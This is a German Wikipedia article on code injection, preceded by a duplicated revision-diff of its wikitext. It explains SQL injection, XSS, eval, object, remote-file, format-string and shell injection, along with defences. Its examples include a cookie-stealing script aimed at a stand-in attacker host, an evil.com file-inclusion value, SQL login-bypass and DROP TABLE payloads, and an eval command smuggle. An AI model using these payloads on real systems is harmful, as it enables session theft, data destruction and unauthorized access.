[[PHP]] erlaubt die [[Serialisierung]] und [[Deserialisierung]] von ganzen [[Objekt (Informatik)|Objekten]]. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen.<ref>{{cite web|url=http://uk3.php.net/manual/en/function.unserialize.php#refsect1-function. unserialize-notes|title=Unserialize function warnings|publisher=PHP.net}}</ref> Ein solcher Angriff auf [[Joomla]] wurde 2013 gefunden.<ref>{{cite web|url=http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability|title=Analyse der Joomla PHP Object Injection Vulnerability|access-date=6 June 2014}}</ref>
[[PHP]] erlaubt die [[Serialisierung]] und [[Deserialisierung]] von ganzen [[Objekt (Informatik)|Objekten]]. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen.<ref>{{Internetquelle |url=https://uk3.php.net/manual/en/function.unserialize.php |titel=Unserialize function warnings |hrsg=PHP.net |abruf=2023-01-20 |sprache=en}}</ref> Ein solcher Angriff auf [[Joomla]] wurde 2013 gefunden.<ref>{{Internetquelle |url=http://karmainsecurity.com/analysis-of-the-joomla-php-object-injection-vulnerability |titel=Analyse der Joomla PHP Object Injection Vulnerability |abruf=2014-06-06 |sprache=en}}</ref>


=== Entfernte Dateiinjektion ===
=== Entfernte Dateiinjektion ===
Zeile 120: Zeile 114:


=== Format-Spezifizierer-Injektion ===
=== Format-Spezifizierer-Injektion ===
Formatierungszeichenfolgen-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthält. Der Programmierer schreibt vielleicht fälschlicherweise <code>printf(buffer)</code> statt <code>printf("%s", buffer)</code>. Die erste Version interpretiert <code>puffer</code> als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen. Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus, wie vom Programmierer beabsichtigt.
Formatierungszeichenfolgen-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthält. Der Programmierer schreibt vielleicht fälschlicherweise <code>printf(buffer)</code> statt <code>printf("%s", buffer)</code>. Die erste Version interpretiert <code>buffer</code> als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen. Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus, wie vom Programmierer beabsichtigt.


Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array <code>Passwort</code> hat, die ein Passwort enthält; das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette, dann gibt es die vom Benutzer angegebene Zeichenkette aus.<syntaxhighlight lang="c">
Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array <code>passwort</code> hat, die ein Passwort enthält; das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette, dann gibt es die vom Benutzer angegebene Zeichenkette aus.
<syntaxhighlight lang="c">
char user_input[100];
char user_input[100];
int int_in;
int int_in;
Zeile 136: Zeile 131:


return 0;
return 0;
</syntaxhighlight>
</syntaxhighlight>Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie <code>%s%s%s%s%s%s%s%s</code> gefüllt wird, dann beginnt <code>printf()</code>, aus dem [[Stack (abstrakter Datentyp)|stack]] zu lesen. Schließlich wird einer der <code>%s</code>-Formatierer auf die Adresse von <code>Passwort</code> zugreifen, die sich auf dem Stack befindet, und <code>Passwort1</code> auf den Bildschirm ausgeben.
Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie <code>%s%s%s%s%s%s%s%s</code> gefüllt wird, dann beginnt <code>printf()</code>, aus dem [[Stack (abstrakter Datentyp)|stack]] zu lesen. Schließlich wird einer der <code>%s</code>-Formatierer auf die Adresse von <code>Passwort</code> zugreifen, die sich auf dem Stack befindet, und <code>Passwort1</code> auf den Bildschirm ausgeben.


=== Shell-Injektion ===
=== Shell-Injektion ===
Shell-Injektion (oder Befehlsinjektion<ref>{{cite web|url=https://www.owasp.org/index.php/Command_Injection|title=Command Injection|publisher=OWASP}}</ref>) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software erlauben, eine [[Befehlszeile]] programmatisch auszuführen. Hier ist ein Beispiel für ein verwundbares [[tcsh]]-Skript:
Shell-Injektion (oder Befehlsinjektion<ref>{{Internetquelle |url=https://www.owasp.org/index.php/Command_Injection |titel=Command Injection |hrsg=OWASP |abruf=2023-01-20 |sprache=en}}</ref>) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software erlauben, eine [[Befehlszeile]] programmatisch auszuführen. Hier ist ein Beispiel für ein verwundbares [[tcsh]]-Skript:
<syntaxhighlight lang="tcsh">
<syntaxhighlight lang="tcsh">
#!/bin/tcsh
#!/bin/tcsh
Zeile 145: Zeile 141:
if ($1 == 1) echo it matches
if ($1 == 1) echo it matches
</syntaxhighlight>
</syntaxhighlight>
Wenn das obige in der ausführbaren Datei <code>./check</code> gespeichert ist, wird der Shell-Befehl <code>./check&nbsp;"&nbsp;1&nbsp;)&nbsp;evil"</code> versuchen, den injizierten Shell-Befehl <code>evil</code> auszuführen, anstatt das Argument mit dem konstanten zu vergleichen. Hier ist der angegriffene Code der Code, der versucht, den Parameter zu überprüfen, also genau der Code, der vielleicht versucht hätte, den Parameter zu validieren, um einen Angriff abzuwehren.<ref>Douglas W. Jones, CS:3620 Notes, [http://www.cs.uiowa.edu/~jones/opsys/notes/04.shtml Lecture 4 - Shell Scripts], Spring 2018.</ref>
Wenn das obige in der ausführbaren Datei <code>./check</code> gespeichert ist, wird der Shell-Befehl <code>./check&nbsp;"&nbsp;1&nbsp;)&nbsp;evil"</code> versuchen, den injizierten Shell-Befehl <code>evil</code> auszuführen, anstatt das Argument mit dem konstanten zu vergleichen. Hier ist der angegriffene Code der Code, der versucht, den Parameter zu überprüfen, also genau der Code, der vielleicht versucht hätte, den Parameter zu validieren, um einen Angriff abzuwehren.<ref>Douglas W. Jones, CS:3620 Notes, [http://www.cs.uiowa.edu/~jones/opsys/notes/04.shtml Lecture 4 Shell Scripts], Spring 2018.</ref>


Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören [http://linux.die.net/man/3/system <code>system()</code>], <code>StartProcess()</code> und [http://msdn.microsoft.com/en-us/library/92699yzt.aspx <code>System.Diagnostics.Process.Start()</code>].
Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören <code>system()</code>,<ref>[https://linux.die.net/man/3/system system(3) – Linux man page.] linux.die.net</ref> <code>StartProcess()</code> und <code>System.Diagnostics.Process.Start()</code>.<ref>[http://msdn.microsoft.com/en-us/library/92699yzt.aspx Overloads.] [[MSDN]].</ref>


[[Client-Server-Modell|Client-Server]]-Systeme wie [[Webbrowser]]s Interaktion mit [[Webserver]]n sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze [[PHP]]-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens <code>funnytext</code> auszuführen, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt.
[[Client-Server-Modell|Client-Server]]-Systeme wie [[Webbrowser]]s Interaktion mit [[Webserver]]n sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze [[PHP]]-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens <code>funnytext</code> auszuführen, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt.


<syntaxhighlight lang="php">
<syntaxhighlight lang="php">
Zeile 156: Zeile 152:
</syntaxhighlight>
</syntaxhighlight>


Das <code>passthru</code> im obigen Beispiel komponiert einen Shell-Befehl, der dann vom Webserver ausgeführt wird. Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten [[URL-Umleitung|URL]] entnommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Arten Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollständig):<ref>{{Cite web|url=http://blackhat.life/Command_Injection|title=Archived copy|access-date=27 February 2015|archive-url=https://archive.is/20150227081226/http://blackhat.life/Command_Injection|archive-date=27 February 2015|url-status=dead}}</ref>
Das <code>passthru</code> im obigen Beispiel komponiert einen Shell-Befehl, der dann vom Webserver ausgeführt wird. Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten [[URL-Umleitung|URL]] entnommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Arten Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollständig):<ref>{{Internetquelle |url=https://blackhat.life/Command_Injection |titel=Command Injection |archiv-url=https://archive.is/20150227081226/http://blackhat.life/Command_Injection |archiv-datum=2015-02-27 |abruf=2015-02-27 |sprache=en}}</ref>


Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in Anführungszeichen zu setzen:
Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in Anführungszeichen zu setzen:


* PHP: <code>[http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()]</code> und <code>[http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()]</code>
* PHP: <code>[https://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()]</code> und <code>[https://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()]</code>
* [[Python (Programmiersprache)|Python]]: <code>[https://docs.python.org/3/library/shlex.html#shlex.quote shlex.quote()]</code>
* [[Python (Programmiersprache)|Python]]: <code>[https://docs.python.org/3/library/shlex.html#shlex.quote shlex.quote()]</code>


Zeile 168: Zeile 164:


== Siehe auch ==
== Siehe auch ==

* [[Pufferüberlauf]]
* [[Pufferüberlauf]]
* [[Debugging]]
* [[Debugging]]
Zeile 176: Zeile 171:
* [[Trojanisches Pferd (Computerprogramm)]]
* [[Trojanisches Pferd (Computerprogramm)]]


== Externe Links ==
== Weblinks ==
* Robert Kuster: [https://web.archive.org/web/20041010124514/http://www.codeproject.com/threads/winspy.asp Drei Wege, Ihren Code in einen anderen Prozess zu injizieren.] codeproject.com

* Artikel "[https://web.archive.org/web/20041010124514/http://www.codeproject.com/threads/winspy.asp Drei Wege, Ihren Code in einen anderen Prozess zu injizieren]" von Robert Kuster
* A. Danehkar: [https://web.archive.org/web/20060209035745/http://www.codeproject.com/system/inject2exe.asp Inject your code to a Portable Executable file.] codeproject.com
* Artikel "[https://web.archive.org/web/20060209035745/http://www.codeproject.com/system/inject2exe.asp Inject your code to a Portable Executable file]" von A. Danehkar
* A. Danehkar: [https://web.archive.org/web/20070410133521/http://www.codeproject.com/system/inject2it.asp Injective Code inside Import Table.] codeproject.com
* Artikel "[https://web.archive.org/web/20070410133521/http://www.codeproject.com/system/inject2it.asp Injective Code inside Import Table]" von A. Danehkar
* Tadeusz Pietraszek, Chris Vanden Berghe: [https://web.archive.org/web/20060301133252/http://chris.vandenberghe.org/publications/csse_raid2005.pdf Abwehr von Injection-Attacken durch Context-Sensitive String Evaluation (CSSE).] (PDF)
* [https://web.archive.org/web/20050924080540/http://www.emsisoft.com/en/kb/articles/news041104/ Flux breitet sich aus.] emsisoft.comErstes [[Trojanisches Pferd (Computerprogramm)|Trojanisches Pferd]], das Code Injection nutzt, um die Erkennung durch eine [[Firewall]] zu verhindern
* Artikel "[https://web.archive.org/web/20060301133252/http://chris.vandenberghe.org/publications/csse_raid2005.pdf Abwehr von Injection-Attacken durch Context-Sensitive String Evaluation (CSSE)]" von Tadeusz Pietraszek und Chris Vanden Berghe
* [https://www.thedailywtf.com/ The Daily WTF] berichtet regelmäßig über reale Vorfälle von Anfälligkeit für Code Injection in Software.
* Nachrichtenartikel "[https://web.archive.org/web/20050924080540/http://www.emsisoft.com/en/kb/articles/news041104/ Flux breitet sich aus]"Erster [[Trojanisches Pferd (Computer)|Trojanisches Pferd]], der Code-Injektion nutzt, um die Erkennung durch eine [[Firewall (Netzwerk)|Firewall]] zu verhindern
* [http://www.thedailywtf.com/ The Daily WTF] berichtet regelmäßig über reale Vorfälle von Anfälligkeit für Code-Injection in Software.


== Quellen ==
== Einzelnachweise ==
<references />
<references />



Aktuelle Version vom 13. November 2024, 22:09 Uhr

Code-Injektion ist das Einschleusen und Ausführen von unerwünschtem Programmcode, durch die Ausnutzung eines Computerfehlers. Dabei werden externe Daten von einem Angreifer genutzt, um Code in ein verwundbares Computerprogramm einzuschleusen (zu „injizieren“) und zur Ausführung zu bringen. Das Ergebnis einer erfolgreichen Code-Injektion kann verheerend sein, etwa durch Verbreitung von Schadsoftware.

Bestimmte Arten von Code-Injection sind Interpretationsfehler, die den Benutzereingaben eine besondere Bedeutung verleihen, indem dort nicht zwischen Benutzereingaben und Systembefehlen unterschieden wird.

Code-Injection-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten an einen Interpreter sendet. Am häufigsten treten sie auf in SQL, LDAP, XPath, NoSQL-Abfragen, Betriebssystembefehlen, XML-Parsern, SMTP-Kopfzeilen und allgemein in den Parametern von Programmaufrufen. Injektionsschwachstellen sind in der Regel im Quellcode leichter zu entdecken als durch Tests.[1] Scanner und Fuzzers können helfen, Injektionsschwachstellen zu finden.[2]

Injektion kann zu Datenverlust oder -beschädigung oder Zugriffsverweigerung führen – manchmal sogar zu einer kompletten Hostübernahme.

Code-Injection-Techniken sind bei System-Hacking oder Cracking beliebt, um Informationen, Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen. Code-Injection kann zu vielen Zwecken böswillig eingesetzt werden, z. B:

Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als Code Injection klassifiziert, der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war dies auf 0,77 % gesunken.[3]

Gute und ungewollte Verwendung

[Bearbeiten | Quelltext bearbeiten]

Theoretisch kann Code-Injektion mit guten Absichten verwendet werden,[4][5] indem etwa eine Suchergebnisseite eine nützliche neue Spalte anzeigt oder den Inhalt weiter filtert, ordnet oder gruppiert. Auch beim Testen von Software, besonders bei Penetrationstests, leistet Code-Injektion gute Dienste („White Hat“). Selbst ein Softwareentwickler wird manchmal Methoden einsetzen, die diesen Namen verdienen – etwa eine Bibliotheksfunktion vorübergehend durch eine eigene Funktion mit gleichem Namen überschreiben.[6]

Natürlich könnte ein Nutzer auch ohne Absicht Code injizieren. Er hält beispielsweise etwas für eine gültige Eingabe, was vom Entwickler mit einer besonderen Bedeutung versehen wurden – vielleicht nur ein Kaufmanns-Und oder ein Apostroph in einem Firmennamen. So etwas könnte auch in einer Datei stehen, die der Nutzer hochlädt.

Verhindern von Problemen

[Bearbeiten | Quelltext bearbeiten]

Um Code-Injection-Probleme zu verhindern, ist vor allem eine sichere Handhabung von Ein- und Ausgaben notwendig:

  • Die verwendete Programmierschnittstelle („API“) sollte gegen alle Eingaben sicher sind, wie etwa vorkompilierte SQL-Anweisung mit Platzhaltern für die Benutzerdaten oder die Criteria API.[7]
  • Erzwingen der Sprachentrennung über ein statisches Typensystem.[8]
  • Eingabevalidierung durch (möglichst serverseitiges) Whitelisting, also einer Liste akzeptierter Werte.
  • Eingabekodierung, z. B. das Escapen ungewollter Zeichen. In PHP z. B. mit der Funktion htmlspecialchars(), die Sonderzeichen für die sichere Ausgabe in HTML umschreibt, und mysqli::real_escape_string(), die Daten für eine SQL-Anfrage isoliert
  • Entsprechende Ausgabekodierung zur Verhinderung von HTML-Injection-Attacken gegen Website-Besucher.
  • HttpOnly ist ein Flag für HTTP-Cookies, das clientseitige Skriptinteraktion mit Cookies verhindert und damit bestimmte XSS-Angriffe.[9]
  • Modulare Shell-Abkopplung vom Kernel

Diese Lösungsvorschläge befassen sich primär mit der webbasierten Injektion von HTML- oder Skriptcode in eine serverseitige Anwendung. Für die Injektion von Benutzercode auf dem Rechner des Benutzers, die zu Angriffen mit erhöhter Berechtigung führt, müssen jedoch andere Ansätze gewählt werden. Einige Vorschläge, um verwaltete und nicht verwaltete Code-Injektionen zu erkennen und zu isolieren:

  • Laufzeit-Image-Hash-Validierung – Erfassen eines Hashes eines Teils oder des kompletten Images der in den Speicher geladenen ausführbaren Datei und Vergleich mit dem gespeicherten und erwarteten Hash.
  • NX-Bit – Alle Benutzerdaten kommen in einen speziellen Speicherbereich, der als nicht ausführbar markiert ist. Der Prozessor weiß dann, dass dort kein Code vorhanden sein kann, und lehnt dort die Ausführung ab.
  • Canaries – Diese legen zufällig Werte auf einen Stack. Nach der Rückkehr der Funktion wird der Wert überprüft und bei Veränderung das Programm gestoppt. Dies verhindert Stack-Overflow-Attacken.
  • Code Pointer Masking (CPM) – Ein Zeiger auf auszuführenden Code wird zuvor auf Plausibilität geprüft. In C kann dies auf Prozessorebene durch eine Bitmaske geschehen.[10]

Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verändern können oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen.

Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine SQL-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = <Inhalt von Feld-2>

Diese Abfrage wird genau dann fündig, wenn es in der Tabelle BenutzerListe einen Eintrag gibt, dessen Benutzername und Passwort den Eingaben des Nutzers gleichen.

Wenn der böswillige Benutzer jedoch in Feld-1 einen gültigen Benutzernamen eingibt und in Feld-2 den Code XYZ' OR '1'='1', dann entsteht folgende Abfrage:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ'
OR '1'='1'

Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort „XYZ“ (das dürfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten.

Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: ';DROP TABLE BenutzerListe; --. In diesem Fall entsteht die folgende Datenbankabfrage:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';
DROP TABLE BenutzerListe;
--AND BenutzerListe.Passwort = ''

Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als Nächstes folgt eine DROP-Anweisung, die die komplette Tabelle BenutzerListe sofort und ohne Rückfrage löscht. Der Rest wird wegen der führenden Bindestriche als Kommentar angesehen, also ignoriert. Mit der Löschanweisung wurde in diesem Moment die gesamte Datenbank zerstört, denn sie enthält nun keine Tabelle mit Benutzernamen und Passwörtern mehr.

Cross-Site-Scripting

[Bearbeiten | Quelltext bearbeiten]

Code-Injektion ist die böswillige Einführung von Code in eine Anwendung. So bieten manche Webseiten ein Gästebuch an, in dem Besucher kleine Nachrichten hinterlassen sollen – Dinge wie

Sehr schöne Seite!

Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie die folgende hinterlassen:

Schöne Seite, ich denke, ich werde sie missbrauchen. <script>window.location="https://angreifer/bösescgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Wenn nun ein anderer Besucher die Seite besucht, sieht er den Bereich von <script> bis </script> gar nicht – statt ihn anzuzeigen, führt der Browser diesen Skriptcode sofort auf seinem Rechner aus. Dabei kann er nicht nur den Rechner kompromittieren, sondern auch auf der gerade besuchten Website unerwünschte Aktionen ausführen – wenn der Nutzer dort angemeldet war, mit dessen Nutzerrechten.

Dieses Injizieren von Skripten in die Sitzung eines ahnungslosen folgenden Users wird als „Cross-Site-Scripting“ oder „XSS“ bezeichnet. Das Gästebuch-Skript übernimmt den Code des ersten Nutzers unüberprüft in den auszugebenden HTML-Text – auf Basis naiver Annahmen darüber, welche Eingabedaten möglich sind.[11]

Dynamische Auswertungsschwachstellen

[Bearbeiten | Quelltext bearbeiten]

Eine eval()-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine eval()-Funktion eingespeist wird aufruft.[12]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Das Argument von eval wird als PHP verarbeitet, so dass weitere Befehle angehängt werden können. Wird arg beispielsweise auf „10; system('/bin/echo uh-oh')“ gesetzt, wird zusätzlicher Code ausgeführt, der ein Programm auf dem Server ausführt, in diesem Fall „/bin/echo“.

Objektinjektion

[Bearbeiten | Quelltext bearbeiten]

PHP erlaubt die Serialisierung und Deserialisierung von ganzen Objekten. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen.[13] Ein solcher Angriff auf Joomla wurde 2013 gefunden.[14]

Entfernte Dateiinjektion

[Bearbeiten | Quelltext bearbeiten]

Betrachten Sie dieses PHP-Programm (das eine per Anfrage angegebene Datei einschließt):

<?php
$color = 'blue';
if (isset($_GET['Farbe']))
    $color = $_GET['color'];
require($color . '.php');

Das Beispiel könnte so gelesen werden, dass nur Farbdateien wie blau.php und rot.php geladen werden, während Angreifer COLOR=http://evil.com/exploit angeben könnten, was PHP veranlasst, die externe Datei zu laden.

Format-Spezifizierer-Injektion

[Bearbeiten | Quelltext bearbeiten]

Formatierungszeichenfolgen-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthält. Der Programmierer schreibt vielleicht fälschlicherweise printf(buffer) statt printf("%s", buffer). Die erste Version interpretiert buffer als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen. Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus, wie vom Programmierer beabsichtigt.

Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array passwort hat, die ein Passwort enthält; das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette, dann gibt es die vom Benutzer angegebene Zeichenkette aus.

  char user_input[100];
  int int_in;
  char passwort[10] = "Passwort1";

  printf("Geben Sie eine ganze Zahl ein.");
  scanf("%d", &int_in);
  printf("Bitte geben Sie einen String\n");
  fgets(user_input, sizeof(user_input), stdin);

  printf(user_input); // Sichere Version ist: printf("%s", user_input);
  printf("\n");

  return 0;

Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie %s%s%s%s%s%s%s%s gefüllt wird, dann beginnt printf(), aus dem stack zu lesen. Schließlich wird einer der %s-Formatierer auf die Adresse von Passwort zugreifen, die sich auf dem Stack befindet, und Passwort1 auf den Bildschirm ausgeben.

Shell-Injektion

[Bearbeiten | Quelltext bearbeiten]

Shell-Injektion (oder Befehlsinjektion[15]) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software erlauben, eine Befehlszeile programmatisch auszuführen. Hier ist ein Beispiel für ein verwundbares tcsh-Skript:

#!/bin/tcsh
# überprüfe arg-Ausgaben es passt, wenn arg eins ist
if ($1 == 1) echo it matches

Wenn das obige in der ausführbaren Datei ./check gespeichert ist, wird der Shell-Befehl ./check " 1 ) evil" versuchen, den injizierten Shell-Befehl evil auszuführen, anstatt das Argument mit dem konstanten zu vergleichen. Hier ist der angegriffene Code der Code, der versucht, den Parameter zu überprüfen, also genau der Code, der vielleicht versucht hätte, den Parameter zu validieren, um einen Angriff abzuwehren.[16]

Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören system(),[17] StartProcess() und System.Diagnostics.Process.Start().[18]

Client-Server-Systeme wie Webbrowsers Interaktion mit Webservern sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze PHP-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens funnytext auszuführen, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

Das passthru im obigen Beispiel komponiert einen Shell-Befehl, der dann vom Webserver ausgeführt wird. Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten URL entnommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Arten Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollständig):[19]

Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in Anführungszeichen zu setzen:

Dies bedeutet jedoch immer noch, dass der Programmierer diese Funktionen kennen/erlernen und daran denken muss, sie jedes Mal zu verwenden, wenn er Shell-Befehle verwendet. Zusätzlich zur Verwendung dieser Funktionen wird empfohlen, die Benutzereingabe zu validieren oder zu bereinigen.

Eine sicherere Alternative ist die Verwendung von APIs, die externe Programme direkt und nicht über eine Shell ausführen, wodurch die Möglichkeit der Shell-Injection verhindert wird. Diese APIs neigen jedoch dazu, verschiedene Komfortfunktionen von Shells nicht zu unterstützen und/oder im Vergleich zur prägnanten Shell-Syntax umständlicher/ausführlicher zu sein.

Einzelnachweise

[Bearbeiten | Quelltext bearbeiten]
  1. Top 10 Web Application Security Vulnerabilities. In: Penn Computing. University of Pennsylvania, archiviert vom Original am 24. Februar 2018; abgerufen am 10. Dezember 2016 (englisch).
  2. OWASP Top 10 2013 A1: Injection Flaws. OWASP, abgerufen am 19. Dezember 2013 (englisch).
  3. NVD - Statistics Search. In: web.nvd.nist.gov. Abgerufen am 9. Dezember 2016 (englisch).
  4. Raghunathan Srinivasan: Towards More Effective Virus Detectors. In: Arizona State University. Archiviert vom Original am 29. Juli 2010; abgerufen am 18. September 2010 (englisch): „Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.“
  5. Lecture Notes in Computer Science, Jose Andre Morales, Ravi Sandhu, Shouhuai Xu, Erhan Kartaltepe. Springer, Berlin / Heidelberg 2010, ISBN 978-3-642-14705-0, Symptoms-Based Detection of Bot Processes, doi:10.1007/978-3-642-14706-7_18 (englisch).
  6. Dynamische Linker-Tricks: Mit LD_PRELOAD schummeln, Funktionen injizieren und Programme untersuchen. In: Rafał Cieślak’s blog. 2. April 2013, abgerufen am 10. Dezember 2016 (englisch).
  7. The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries. Oracle, abgerufen am 19. Dezember 2013 (englisch).
  8. Tom Moertel: Eine typbasierte Lösung für das "Strings-Problem": ein passendes Ende für XSS- und SQL-Injection-Löcher? In: Tom Moertel’s Blog. 18. Oktober 2006, abgerufen am 21. Oktober 2018 (englisch).
  9. HttpOnly. In: OWASP. 12. November 2014, abgerufen am 10. Dezember 2016 (englisch).
  10. Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter: CPM: Masking Code Pointers to Prevent Code Injection Attacks. In: ACM Transactions on Information and System Security. Band 16, Nr. 1, 1. Juni 2013, ISSN 1094-9224, S. 1–27, doi:10.1145/2487222.2487223 (englisch, Online [PDF]).
  11. Brian Hope, Paco Hope, Ben Walther: Web Security Testing Cookbook. O’Reilly Media, Sebastopol CA 2009, ISBN 978-0-596-51483-9, S. 254 (englisch, Online).
  12. Steven M. Christey: Dynamische Auswertungsschwachstellen in PHP-Anwendungen. 3. Mai 2006, abgerufen am 21. Oktober 2018 (englisch).
  13. Unserialize function warnings. PHP.net, abgerufen am 20. Januar 2023 (englisch).
  14. Analyse der Joomla PHP Object Injection Vulnerability. Abgerufen am 6. Juni 2014 (englisch).
  15. Command Injection. OWASP, abgerufen am 20. Januar 2023 (englisch).
  16. Douglas W. Jones, CS:3620 Notes, Lecture 4 – Shell Scripts, Spring 2018.
  17. system(3) – Linux man page. linux.die.net
  18. Overloads. MSDN.
  19. Command Injection. Archiviert vom Original am 27. Februar 2015; abgerufen am 27. Februar 2015 (englisch).